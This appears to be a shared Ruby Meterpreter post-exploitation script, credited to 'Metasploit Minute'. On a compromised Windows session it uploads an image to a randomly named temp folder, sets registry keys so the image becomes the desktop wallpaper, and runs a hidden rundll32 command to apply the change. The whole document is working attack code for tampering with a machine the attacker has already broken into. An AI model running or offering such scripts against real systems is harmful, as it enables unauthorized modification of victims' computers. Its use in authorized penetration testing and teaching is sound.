Created
August 19, 2015 07:32
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Wallpaper Script from Metasploit Minute
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#Change Wallpaper | |
session = client | |
key = "HKCU" | |
wallpaper = "kerby.bmp" | |
based = "/root/kerby.bmp" | |
# based = File.join(Msf::Config.install_root, "data", wallpaper) | |
bgcolor = "0 0 0" # set to 255 255 255 for white | |
refresh_cmd = "rundll32.exe user32.dll, UpdatePerUserSystemParameters" | |
delay = 5 | |
#Upload Image | |
tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8) | |
print_status("Creating a temp dir for wallpaper #{tempdir}...") | |
client.fs.dir.mkdir(tempdir) | |
print_status(" >> Uploading #{wallpaper}...") | |
fd = client.fs.file.new(tempdir + "\\" + wallpaper, "wb") | |
fd.write(::File.read(based, ::File.size(based))) | |
fd.close | |
if(key) | |
registry_setvaldata("#{key}\\Control\ Panel\\Desktop\\","Wallpaper","#{tempdir}\\#{wallpaper}","REG_SZ") | |
# Setting the base color isn't working right now | |
# registry_setvaldata("#{key}\\Control\ Panel\\Colors\\","Background","#{bgcolor}","REG_SZ") | |
registry_setvaldata("#{key}\\Control\ Panel\\Desktop\\","TileWallpaper","0","REG_SZ") | |
print_status("Set Wallpaper to #{tempdir}#{wallpaper}") | |
else | |
print_status("Error: failed to open the registry key for writing") | |
end | |
#Refresh the users' desktop config | |
r = session.sys.process.execute(refresh_cmd, nil, {'Hidden' => true, 'Channelized' => true}) | |
r.channel.close | |
r.close |
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